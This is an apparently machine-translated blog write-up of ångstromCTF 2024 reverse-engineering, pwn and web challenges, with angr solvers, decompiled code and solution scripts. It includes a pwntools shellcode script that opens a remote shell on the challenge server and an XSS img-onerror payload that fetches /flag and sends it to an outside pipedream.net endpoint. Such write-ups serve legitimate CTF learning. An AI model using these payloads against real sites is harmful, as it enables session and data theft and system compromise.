{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-angstrom-ctf-2024-en","result":{"data":{"markdownRemark":{"id":"c2f3bcaf-8939-5308-a004-30f543262f41","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in ångstromCTF 2024 with the team 0nePadding.

\n

We finished at a clean 1000 points, placing 108th out of 923 teams.

\n

\n \n );\n }\n else\n {\n puts(\"Correct! It was kinda obvious tb…\");\n }\n *(uint64_t*)((char*)fsbase + 0x28);\n if (rax != *(uint64_t*)((char*)fsbase + 0x28))\n {\n __stack_chk_fail();\n /* no return */\n }\n return 0;\n}\n

At a glance, it is clear that the flag is embedded XOR’d with 1.

\n

\n \n \n \n \n \n \n \n \n

\n

switcher(Rev)

\n
\n

It’s incredible how completely indiscernible the functions are…

\n
\n

Looking at the challenge binary, we can see it validates a password string obtained via fgets.

\n

\n \n \n \n \n \n \n \n \n

\n

Examining the function that performs this check reveals that it calls a series of functions, each comparing the flag one character at a time from the beginning.

\n

\n \n \n \n \n \n \n \n \n

\n

This kind of challenge is trivially solved with angr, so I retrieved the flag using the following solver.

\n
import angr\n\nproj = angr.Project(\"switcher\", auto_load_libs=False)\nobj = proj.loader.main_object\nfind = 0x401219\navoids = [0x40122c,0x4010f8]\ninit_state = proj.factory.entry_state()\nsimgr = proj.factory.simgr(init_state)\nsimgr.explore(find=find, avoid=avoids)\nsimgr.found[0].posix.dumps(0)\n\n# actf{jumping_my_way_to_the_flag_one_by_one}
\n

Polyomino(Rev)

\n
\n

I know this is a cybersecurity competition but I decided to throw in a math problem to level the field a little bit. You can solve it, right?

\n
\n

Analyzing the challenge binary yields the following decompilation result.

\n
int32_t main(int32_t argc, char** argv, char** envp)\n{\n    void* fsbase\n    int64_t rax = *(fsbase + 0x28)\n    __printf_chk(flag: 1, format: \"I'm practicing my math skills. G…\")\n    int32_t* var_80 = &data_40a0\n    int32_t* var_88 = &data_409c\n    int32_t* var_90 = &data_4098\n    int32_t* var_98 = &data_4094\n    __isoc99_scanf(format: \"%d %d %d %d %d %d %d %d %d\", &data_4080, &data_4080:4, &data_4088, &data_4088:4, &data_4090, var_98, var_90, var_88, var_80)\n    __printf_chk(flag: 1, format: \"Hmm, let me think\")\n    fflush(fp: stdout)\n    usleep(useconds: 0x493e0)\n    putchar(c: 0x2e)\n    fflush(fp: stdout)\n    usleep(useconds: 0x493e0)\n    putchar(c: 0x2e)\n    fflush(fp: stdout)\n    usleep(useconds: 0x493e0)\n    puts(str: &data_2098)\n    usleep(useconds: 0x7a120)\n    int64_t rdi_3 = -0x3c\n    int32_t rax_15\n    while (true)\n        int64_t* i_1 = &data_4080\n        int64_t rsi = 0\n        int64_t rcx_1 = 1\n        int64_t* i = &data_4080\n        uint64_t rdx_1\n        do\n            int64_t rdx = sx.q(*i)\n            i = i + 4\n            rdx_1 = rdx * rcx_1\n            rcx_1 = rcx_1 * rdi_3\n            rsi = rsi + rdx_1\n        while (&data_40a4 != i)\n        if (rdi_3.d != 0x2c && rdi_3.d != 0x3a)\n            uint64_t r9_2 = zx.q(rdi_3.d + 0x25)\n            if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))\n                if (rsi.d != 0)\n                    goto label_1285\n                goto label_138f\n        if (rsi.d != 0)\n            label_138f:\n            puts(str: \"Those aren't the right numbers. …\")\n            rax_15 = 1\n            break\n        label_1285:\n        rdi_3 = rdi_3 + 1\n        if (rdi_3 == 0x3c)\n            if (data_40a0 != 1)\n                do\n                    int32_t rax_4 = *i_1\n                    i_1 = i_1 + 4\n                    int32_t temp4_1\n                    int32_t temp5_1\n                    temp4_1:temp5_1 = sx.q(rax_4)\n                    rdx_1 = zx.q(mods.dp.d(temp4_1:temp5_1, data_40a0))\n                    *(i_1 - 4) = divs.dp.d(temp4_1:temp5_1, data_40a0)\n                while (i_1 != &data_40a4)\n            __printf_chk(flag: 1, format: \"Correct! Here's the flag: \", rdx_1)\n            void var_58\n            void* i_2 = &var_58\n            int64_t var_78 = data_4080\n            void* rbp_1 = &data_4020\n            int64_t var_70_1 = data_4088\n            int16_t var_68_1 = (data_4090).w\n            int16_t var_66_1 = (data_4094).w\n            int16_t var_64_1 = (data_4098).w\n            int16_t var_62_1 = (data_409c).w\n            int16_t var_60_1 = (data_40a0).w\n            __builtin_memcpy(dest: &var_58, src: &var_78, n: 0x1a)\n            void var_3e\n            __builtin_memcpy(dest: &var_3e, src: &var_78, n: 0x1a)\n            void var_24\n            do\n                char rdi_4 = *i_2 ^ *rbp_1\n                i_2 = i_2 + 1\n                rbp_1 = rbp_1 + 1\n                *(i_2 - 1) = rdi_4\n                putchar(c: zx.d(rdi_4))\n            while (&var_24 != i_2)\n            putchar(c: 0xa)\n            rax_15 = 0\n            break\n    *(fsbase + 0x28)\n    if (rax != *(fsbase + 0x28))\n        __stack_chk_fail()\n        noreturn\n    return rax_15\n}
\n

The nine integers read by scanf are processed inside the while loop. When the rdi_3 variable reaches 0x3c, the flag is decrypted using the accumulated values and printed.

\n
int64_t* i_1 = &data_4080\nint64_t rsi = 0\nint64_t rcx_1 = 1\nint64_t* i = &data_4080\nuint64_t rdx_1\ndo\n    int64_t rdx = sx.q(*i)\n    i = i + 4\n    rdx_1 = rdx * rcx_1\n    rcx_1 = rcx_1 * rdi_3\n    rsi = rsi + rdx_1\nwhile (&data_40a4 != i)\nif (rdi_3.d != 0x2c && rdi_3.d != 0x3a)\n    uint64_t r9_2 = zx.q(rdi_3.d + 0x25)\n    if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))\n        if (rsi.d != 0)\n            goto label_1285\n        goto label_138f\nif (rsi.d != 0)\n    label_138f:\n    puts(str: \"Those aren't the right numbers. …\")\n    rax_15 = 1\n    break\nlabel_1285:\nrdi_3 = rdi_3 + 1
\n

Honestly, I could not fully understand the mathematical details of what the loop is doing, so I decided to look for a way to extract the flag using angr anyway. I ended up using the following solver.

\n
import angr\nimport claripy\n\nproj = angr.Project('./polyomino', auto_load_libs=False)\n\nstart = 0x401209\nstate = proj.factory.blank_state(addr=start, add_options={angr.options.LAZY_SOLVES})\n\nflag1 = claripy.BVS('flag1', 32, explicit_name=True)\nflag2 = claripy.BVS('flag2', 32, explicit_name=True)\nflag3 = claripy.BVS('flag3', 32, explicit_name=True)\nflag4 = claripy.BVS('flag4', 32, explicit_name=True)\nflag5 = claripy.BVS('flag5', 32, explicit_name=True)\nflag6 = claripy.BVS('flag6', 32, explicit_name=True)\nflag7 = claripy.BVS('flag7', 32, explicit_name=True)\nflag8 = claripy.BVS('flag8', 32, explicit_name=True)\nflag9 = claripy.BVS('flag9', 32, explicit_name=True)\n\nstate.memory.store(0x404080, flag1, endness='Iend_LE')\nstate.memory.store(0x404084, flag2, endness='Iend_LE')\nstate.memory.store(0x404088, flag3, endness='Iend_LE')\nstate.memory.store(0x40408c, flag4, endness='Iend_LE')\nstate.memory.store(0x404090, flag5, endness='Iend_LE')\nstate.memory.store(0x404094, flag6, endness='Iend_LE')\nstate.memory.store(0x404098, flag7, endness='Iend_LE')\nstate.memory.store(0x40409c, flag8, endness='Iend_LE')\nstate.memory.store(0x4040a0, flag9, endness='Iend_LE')\n\nfind = 0x4012bd\navoids = [0x401388,0x40138f,0x4013b2]\n\nsimgr = proj.factory.simgr(state)\nsimgr.explore(find=find, avoid=avoids)\nsimgr.explore(find=find, avoid=avoids)\n\nfound = simgr.found[0]\n\na = found.solver.eval(flag1, cast_to=int)\nb = found.solver.eval(flag2, cast_to=int)\nc = found.solver.eval(flag3, cast_to=int)\nd = found.solver.eval(flag4, cast_to=int)\ne = found.solver.eval(flag5, cast_to=int)\nf = found.solver.eval(flag6, cast_to=int)\ng = found.solver.eval(flag7, cast_to=int)\nh = found.solver.eval(flag8, cast_to=int)\ni = found.solver.eval(flag9, cast_to=int)\nprint(\"{} {} {} {} {} {} {} {} {}\".format(a,b,c,d,e,f,g,h,i))
\n

Running this solver produces a different result each time, but feeding those integers into the challenge binary yields a partially incomplete flag.

\n

\n \n \n \n \n \n \n \n \n

\n

presidential(Pwn)

\n
\n

👍

\n
\n

The challenge provides the following Python script as its binary.

\n
#!/usr/local/bin/python\n\nimport ctypes\nimport mmap\nimport sys\n\nflag = \"redacted\"\n\nprint(\"White House declared Python to be memory safe :tm:\")\n\nbuf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)\nftype = ctypes.CFUNCTYPE(ctypes.c_void_p)\nfpointer = ctypes.c_void_p.from_buffer(buf)\nf = ftype(ctypes.addressof(fpointer))\n\nu_can_do_it = bytes.fromhex(input(\"So enter whatever you want 👍 (in hex): \"))\n\nbuf.write(u_can_do_it)\n\nf()\n\ndel fpointer\nbuf.close()\n\nprint(\"byebye\")
\n

Reading this code makes it clear that it simply executes whatever shellcode is provided.

\n

I wrote the following solver.

\n
from pwn import *\n\ntarget = remote(\"challs.actf.co\", 31200)\n\ncontext.arch = 'amd64'\nshellcode = shellcraft.amd64.linux.sh()\nassembled_shellcode = asm(shellcode)\n\n# Exploit\ntarget.recvuntil(b\"(in hex): \")\npayload = assembled_shellcode.hex()\ntarget.sendline(payload)\n\n# Finish exploit\ntarget.interactive()\ntarget.clean()
\n

This gave us a shell and allowed us to retrieve the flag successfully.

\n

\n \n \n \n \n \n \n \n \n

\n

spinner(Web)

\n
\n

spin 10,000 times for flag

\n
\n

Accessing the challenge server launches an application that counts how many times you spin a ball by holding and dragging the mouse.

\n

\n \n \n \n \n \n \n \n \n

\n

Reading the server-side code shows that the flag is returned once the count exceeds 10,000.

\n
const state = {\n    dragging: false,\n    value: 0,\n    total: 0,\n    flagged: false,\n}\n\nconst message = async () => {\n    if (state.flagged) return\n    const element = document.querySelector('.message')\n    element.textContent = Math.floor(state.total / 360)\n\n    if (state.total >= 10_000 * 360) {\n        state.flagged = true\n        const response = await fetch('/falg', { method: 'POST' })\n        element.textContent = await response.text()\n    }\n}\nmessage()\n\nconst draw = () => {\n    const spinner = document.querySelector('.spinner')\n    const degrees = state.value\n    spinner.style.transform = `rotate(${degrees}deg)`\n}\n\nconst down = () => {\n    state.dragging = true\n}\n\nconst move = (e) => {\n    if (!state.dragging) return\n\n    const spinner = document.querySelector('.spinner')\n    const center = {\n        x: spinner.offsetLeft + spinner.offsetWidth / 2,\n        y: spinner.offsetTop + spinner.offsetHeight / 2,\n    }\n    const dy = e.clientY - center.y\n    const dx = e.clientX - center.x\n    const angle = (Math.atan2(dy, dx) * 180) / Math.PI\n\n    const value = angle < 0 ? 360 + angle : angle\n    const change = value - state.value\n\n    if (0 < change && change < 180) state.total += change\n    if (0 > change && change > -180) state.total += change\n    if (change > 180) state.total -= 360 - change\n    if (change < -180) state.total += 360 + change\n\n    state.value = value\n\n    draw()\n    message()\n}\n\nconst up = () => {\n    state.dragging = false\n}\n\ndocument.querySelector('.handle').addEventListener('mousedown', down)\nwindow.addEventListener('mousemove', move)\nwindow.addEventListener('mouseup', up)\nwindow.addEventListener('blur', up)\nwindow.addEventListener('mouseleave', up)
\n

I obtained the flag by directly overwriting the value using the browser’s developer tools.

\n

\n \n \n \n \n \n \n \n \n

\n

markdown(Web)

\n
\n

My friend made an app for sharing their notes!

\n
\n

Accessing the challenge server launches a service that renders submitted Markdown as a web page.

\n

\n \n \n \n \n \n \n \n \n

\n

There is also an admin access tool available.

\n

\n \n \n \n \n \n \n \n \n

\n

Looking at the application source code, we can see that the flag is stored in the admin’s cookie.

\n
const crypto = require('crypto')\n\nconst express = require('express')\nconst app = express()\n\nconst posts = new Map()\n\napp.use(express.urlencoded({ extended: false }))\n\napp.get('/', (_req, res) => {\n    const placeholder = [\n        '# Note title',\n        'Content of the note. You can use *italics*!',\n    ].join('\\n')\n\n    res.type('text/html').end(`\n        <link rel=\"stylesheet\" href=\"/style.css\">\n        <div class=\"content\">\n            <h1>Pastebin</h1>\n            <form action=\"/create\" method=\"POST\">\n                <textarea name=\"content\">${placeholder}</textarea>\n                <button type=\"submit\">Create</button>\n            </form>\n        </div>\n    `)\n})\n\napp.get('/flag', (req, res) => {\n    const cookie = req.headers.cookie ?? ''\n    res.type('text/plain').end(\n        cookie.includes(process.env.TOKEN)\n        ? process.env.FLAG\n        : 'no flag for you'\n    )\n})\n\napp.get('/view/:id', (_req, res) => {\n    const marked = (\n        'https://cdnjs.cloudflare.com/ajax/libs/marked/4.2.2/marked.min.js'\n    )\n\n    res.type('text/html').end(`\n        <link rel=\"stylesheet\" href=\"/style.css\">\n        <div class=\"content\">\n        </div>\n        <script src=\"${marked}\"></script>\n        <script>\n            const content = document.querySelector('.content')\n            const id = document.location.pathname.split('/').pop()\n\n            delete (async () => {\n                const response = await fetch(\\`/content/\\${id}\\`)\n                const text = await response.text()\n                content.innerHTML = marked.parse(text)\n            })()\n        </script>\n    `)\n})\n\napp.post('/create', (req, res) => {\n    const data = req.body.content ?? ''\n    const id = crypto.randomBytes(8).toString('hex')\n    posts.set(id, data)\n    res.redirect(`/view/${id}`)\n})\n\napp.get('/content/:id', (req, res) => {\n    const id = req.params.id\n    const data = posts.get(id) ?? ''\n    res.type('text/plain').end(data)\n})\n\napp.get('/style.css', (_req, res) => {\n    res.type('text/css').end(`\n        * {\n          font-family: system-ui, -apple-system, BlinkMacSystemFont,\n            'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;\n          box-sizing: border-box;\n        }\n\n        html,\n        body {\n          margin: 0;\n        }\n\n        .content {\n          padding: 2rem;\n          width: 90%;\n          max-width: 900px;\n          margin: auto;\n        }\n\n        input:not([type='submit']) {\n          width: 100%;\n          padding: 8px;\n          margin: 8px 0;\n        }\n\n        textarea {\n          width: 100%;\n          padding: 8px;\n          margin: 8px 0;\n          resize: vertical;\n          font-family: monospace;\n        }\n\n        input[type='submit'] {\n          margin-bottom: 16px;\n        }\n\n\n    `)\n})\n\napp.listen(3000)
\n

The plan was to trigger XSS via the submitted Markdown.

\n

However, when scripts are injected via innerHTML after the page has loaded, browsers typically do not execute them directly.

\n

To work around this, I referenced the following article and used the onerror attribute on an img tag to run arbitrary JavaScript.

\n

Reference: Creating CTF Challenges for In-Team CTF - XSS Edition #JavaScript - Qiita

\n

I retrieved the flag by submitting the following payload.

\n
<img src=\"x\" onerror='fetch(\"/flag\").then(e=>e.text()).then(e=>{console.log(\"GET response HTML:\",e);let t=encodeURIComponent(e),n=`https://eoxwstthee5l1zi.m.pipedream.net?query=${t}`;return fetch(n)}).then(e=>e.text()).then(e=>{console.log(\"GET response from target URL:\",e)});'></img>
\n

This payload executes the following code.

\n
fetch(\"/flag\")\n    .then(response => response.text())\n    .then(htmlString => {\n        console.log(\"GET response HTML:\", htmlString);\n        const encodedHtmlString = encodeURIComponent(htmlString);\n        const targetUrl = `https://eoxwstthee5l1zi.m.pipedream.net?query=${encodedHtmlString}`;\n        return fetch(targetUrl);\n    })\n    .then(response => response.text())\n    .then(result => {\n        console.log(\"GET response from target URL:\", result);\n    });
\n

Having the admin bot visit the page containing this exploit delivered the flag as shown below.

\n

\n \n